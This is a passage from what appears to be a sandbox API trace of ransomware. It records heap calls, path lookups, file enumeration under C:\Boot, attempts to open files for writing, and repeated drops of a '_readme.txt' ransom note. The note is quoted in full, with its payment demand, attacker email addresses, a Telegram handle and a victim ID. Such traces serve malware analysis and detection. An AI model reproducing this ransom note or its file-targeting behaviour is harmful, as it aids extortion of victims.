lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.911] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0124.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.911] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.911] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.911] PathFindFileNameW (pszPath="") returned="" [0124.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.911] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.911] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.911] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.911] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.912] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.912] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x81c) returned 0x30e8ae0 [0124.912] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0124.912] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.912] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0124.912] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.912] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.912] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.912] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.912] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.912] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.912] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.912] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.912] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.913] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0124.913] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.913] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.913] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.913] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.913] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.914] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.914] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.914] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.914] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.914] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.914] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.914] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.914] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.914] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.914] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.914] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.914] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0124.914] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.914] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.914] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.914] PathFindFileNameW (pszPath="") returned="" [0124.914] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.914] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.914] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.915] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.915] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.915] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.915] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.915] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0124.915] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0124.915] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.915] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.915] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.915] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.915] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.915] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.915] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, 